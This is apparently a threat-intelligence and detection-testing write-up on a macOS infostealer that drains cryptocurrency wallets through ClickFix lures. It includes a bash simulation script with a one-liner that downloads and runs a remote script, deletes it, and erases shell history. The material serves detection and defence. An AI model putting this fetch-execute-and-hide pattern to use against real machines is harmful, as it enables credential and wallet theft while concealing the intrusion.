macOS Infostealer Targets Cryptocurrency Wallets

Summary

A Go-based macOS stealer is targeting cryptocurrency users through a ClickFix social engineering campaign. The malware steals sensitive credentials from Apple Keychain and browser stores while also featuring the ability to gradually drain cryptocurrency balances from victim wallets. The infection chain begins with a shell script profiler that delivers architecture-specific Mach-O payloads.

Investigation

Huntress analysts uncovered the threat during a retrospective hunt and identified components of a macOS-specific stealer that had remained active for roughly three months. The investigation linked the supporting infrastructure to the Aeza Group, a sanctioned Russian bulletproof hosting provider. Researchers reconstructed the attack chain from the initial ClickFix social engineering prompt through final payload execution and C2 communication.

Mitigation

Users should avoid interacting with suspicious CAPTCHA prompts or following unusual instructions that require commands to be entered into Terminal. Browser extensions designed to restrict malicious scripts, such as NoScript, and DNS-based blocking tools like Pi-hole can help reduce exposure. Comprehensive user awareness training focused on ClickFix social engineering remains one of the most effective defenses.

Response

If an infection is detected, the affected macOS system should be isolated immediately to stop further data exfiltration or cryptocurrency wallet depletion. Administrators should locate and remove all malicious Mach-O binaries and associated persistence mechanisms. Because the malware targets credentials, passwords for all accounts accessed from the compromised device should be reset.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary initiates a ClickFix scam. The victim is tricked into running a command in their terminal. The command uses curl -kFsSL to download a malicious script silently. To avoid leaving a footprint, the script executes via a bash one-liner that immediately deletes its own temporary file (.UlaccK). Finally, the attacker executes a complex history command to surgically remove the command from the user’s shell history, making the attack invisible to casual forensic inspection.

• Regression Test Script:

  #!/bin/bash
  # Simulation of ClickFix macOS Malware Attack
  # This script mimics the exact string patterns required by the detection rule.
  
  echo "[+] Starting Simulation..."
  
  # 1. Simulate the curl download (Selection 3)
  # 2. Simulate the bash execution and immediate deletion (Selection 1)
  # 3. Simulate the history manipulation (Selection 2)
  
  # We combine these into a single line to mimic the behavioral pattern
  # Note: We use a dummy URL to avoid actual malware execution
  curl -kFsSL https://raw.githubusercontent.com/dummy/malware/main/payload.sh > /dev/null 2>&1 && bash .UlaccK && rm -f .UlaccK && history -d $(history 1 2>/dev/null | awk '{print $1}')
  
  echo "[+] Simulation Command Executed."
  echo "[!] Check your SIEM for the 'Wallet-Depleting macOS Malware Attack' alert."

• Cleanup Commands:

  # Remove any artifacts left by the simulation
  rm -f .UlaccK
  # Note: History manipulation in the script is intended to simulate evasion; 
  # manual history restoration may be required for the testing user.